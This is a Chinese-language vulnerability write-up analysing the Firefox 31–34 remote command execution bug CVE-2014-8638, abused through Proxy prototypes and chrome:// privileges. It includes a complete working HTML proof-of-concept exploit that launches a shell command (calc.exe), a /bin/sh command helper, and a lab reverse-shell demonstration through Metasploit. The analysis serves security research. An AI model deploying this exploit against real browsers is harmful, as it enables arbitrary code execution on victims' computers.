Firefox 31~34遠端命令執行漏洞的分析

wyzsk發表於2020-08-19
作者: phith0n · 2015/03/26 17:47

0x00 前言


前段時間,二哥在很多瀏覽器中將指令碼層面的漏洞提升為遠端命令執行,幾乎日遍市面上所有國產瀏覽器,這成為了許多人津津樂道的話題。確實,在當今這個底層安全防護越來越強的環境下,堆疊溢位、UAF造成的漏洞利用起來變得很困難,但如果藉助瀏覽器提供的一些指令碼層介面做到RCE,將是一個是兩撥千金的過程。

CVE-2014-8638就是這樣一個漏洞,而且影響到的不是國(shan)產(zhai)瀏覽器,而是大名鼎鼎的Firefox。它也是javascript逐步進入ECMAScript 6時代後遇到的一個比較有意思的漏洞。

0x01 漏洞的發現


Firefox是較早引入ECMAScript 6特性的瀏覽器,Proxy 就是一個ECMAScript 6特性,它可以用來hook javascript原生的get/set方法。比如如下程式碼:

#!javascript
var x = {};  
var p = Proxy(x, {  
  get: function() {  
    console.log('getter called!');  
    return 'intercepted';  
  },  
  set: function() {  
    console.log('setter called!');  
  }  
});  

console.log(p.foo);  
p.bar = 1;

執行後將會得到如下結果:

enter image description here

這個方法為javascript注入了新的血液,但也帶來了新的安全問題。Getter和Setter將導致我們將沒有特權的javascript程式碼注入到有特權的javascript程式碼之前,這些程式碼在後面檢查許可權的函式之前,所以他們是有特權的。Chrome下也出現過由於這個原因導致的問題:LINK1LINK2 ,大家也可以下去自己研究一下。

經過作者的研究,當我們把Proxy物件作為其他物件的prototype時,就會出現一些問題,比如如下程式碼就能宕掉伺服器:

#!javascript
document.__proto__ = Proxy.create({getPropertyDescriptor:function(){ while(1) {} }});  

不過除此之外,作者當時並沒有想到更好的利用方法,所以就提交到mozilla官方了,firefox在35版本修復了這個問題。

0x02 突破點


作者後來做了如下嘗試:

#!javascript
var props = {};  
props['has'] = function(){  
  var chromeWin = open("chrome://browser/content/browser.xul", "x")();  
};  
document.__proto__ = Proxy.create(props)  

驚奇的發現,當我們在Proxy中,嘗試開啟一個特權頁面“chrome://browser/content/browser.xul”的時候,居然只是彈出了“阻止視窗彈出”的提醒。這說明特權頁面是可以被輕易開啟的,這個提醒也可以透過點選頁面的方式繞過。

0x03 chrome:意味著什麼


我們能夠開啟一個域為chrome://browser/content/browser.xul的頁面,以為著什麼?

火狐和其他很多瀏覽器一樣,都有自己的特權域。不同的URI schemes意味著不同的許可權。Chromium的特權域是chrome://downloads,Safari的是file://。Firefox的特權域是chrome://,只要在這個域下的javascript擁有瀏覽器的最高許可權。所以我們能用這樣的javascript幹很多事,比如執行shell命令。

你可以試著開啟chrome://browser/content/browser.xul並在控制檯下執行如下程式碼(linux/osx):

#!javascript
function runCmd(cmd) {  
    var process = Components.classes["@mozilla.org/process/util;1"]  
              .createInstance(Components.interfaces.nsIProcess);  
    var sh = Components.classes["@mozilla.org/file/local;1"]  
            .createInstance(Components.interfaces.nsILocalFile);  
    sh.initWithPath("/bin/sh");  
    process.init(sh);  
    var args = ["-c", cmd];  
    process.run(true, args, args.length);  
}  
runCmd("touch /tmp/owned"); 

執行後,可以發現/tmp/owned已經建立,touch命令執行成功。

所以,一旦攻擊者能夠將程式碼注入到這個頁面,就可以執行任意命令了。

0x04 注入程式碼


那麼怎麼注入程式碼到這個頁面?

眾所周知,瀏覽器同源策略(SOP)將不會允許我們在http://attacker域下注入程式碼到chrome://browser域下。非常幸運的是,作者以前就做過類似的研究:LINK

當open的第三個引數有傳入”chrome”的話,並且在擁有特權的docshell 下呼叫,那麼我們的URL就會以“top-level frame”的形式被開啟(形似“首選項”那種頁面),並且沒有傳統的document物件(就是一個白白的皮膚)。這樣的視窗,擁有一個messageManager屬性,能夠訪問其他docshell(特權是通行的~嘿):

#!javascript
// abuse vulnerability to open window in chrome://  
var c = new mozRTCPeerConnection;  
c.createOffer(function(){},function(){  
    var w = window.open('chrome://browser/content/browser.xul', 'top', 'chrome');  

    // we can now reference the `messageManager` property of the window's parent  
    alert(w.parent.messageManager)  
});  

messageManager是firefox中的特權API,能夠線上程間傳遞資訊。同樣,javascript也是可以傳遞的,方式是使用loadFrameScript函式。

0x05 命令執行


作者其實這塊寫的特別簡略,直接告訴我可以怎樣寫metasploit exploit,可明明POC都沒告訴我呀!!對於我這種沒開發過firefox外掛、沒讀過原始碼的通知簡直就……我想到一張操蛋的圖:

enter image description here

對,就像這樣……

於是我更新了metasploit,生成了一個exploit來研究。得出瞭如下的POC:

#!javascript
<!doctype html>
<html>
<body>
<script>
var opts = {"zqwessa123": "\n         (function(){var process = Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);var sh = Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);sh.initWithPath(\"C:\\\\windows\\\\system32\\\\cmd.exe\");process.init(sh);\nvar shell='calc.exe';var args = [\"\/c\", shell];\n process.run(true, args, args.length);})();\n\n"};
var key = opts['zqwessa123'];
var props = {};
props.has = function(n){
    if (!window.top.x && n=='nodeType') {
      window.top.x=window.open("chrome://browser/content/browser.xul", "x",
        "chrome");
      if (window.top.x) {
        Object.setPrototypeOf(document, pro);
        setTimeout(function(){
          x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
          setTimeout(function(){
            x.messageManager.loadFrameScript('data:,'+key, false);
            setTimeout(function(){
                x.close();
            },100);
          }, 100)
        }, 100);
      }
    }
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
</script>

  The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected.
</body>
</html>

過程還是比較簡單,首先建立Proxy物件,實現has方法,has方法實際上就是hook了物件的“in”操作,具體可見Proxy文件。然後將document的prototype設定為Proxy物件,這樣實際上我們接管了document的in操作,並且這些程式碼是有特權的。

使用之前講的方法開啟chrome://browser/content/browser.xul,獲得了messageManager屬性,用data協議構造了一個iframe,並將要執行的javascript程式碼也以data協議的形式用messageManager. loadFrameScript載入,執行特權API。

注意,因為在docshell中,所以是沒有傳統的window物件、document物件,所以你呼叫alert、console等方法是沒用的。opts物件中的那一串javascript就是最後執行的特權API,透過process.run執行C:\windows\System32\cmd.exe /c calc.exe,效果是彈出一個小計算器:

enter image description here

一個簡單的POC就此誕生了。

然後,不得不說metesploit中的 firefox_proxy_prototype模組,透過這個模組生成的exploit可以直接反彈shell。

enter image description here

虛擬機器10.211.55.3上Firefox版本是33,在影響範圍內,開啟http:// 10.211.55.2:12306/m0EbugSmqwCW1PP ,隨意點選一處,即可觸發。

主機上等待上線:

enter image description here

這邊反彈成功,可以看到,已經拿下10.211.55.3的使用者許可權shell。

0x06 資料


原文:LINK

測試的FF33我在這裡下載的:LINK

Windows下的POC:LINK

一個小演示:LINK

還有很多點,作者雖然沒在本文說明,但基本都可以從作者文章連結所指向的文章看到。顯然作者對瀏覽器漏洞的研究是一個過程,就像一部動漫,如果你不看前面的部分,這部分內容就可能比較難懂。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章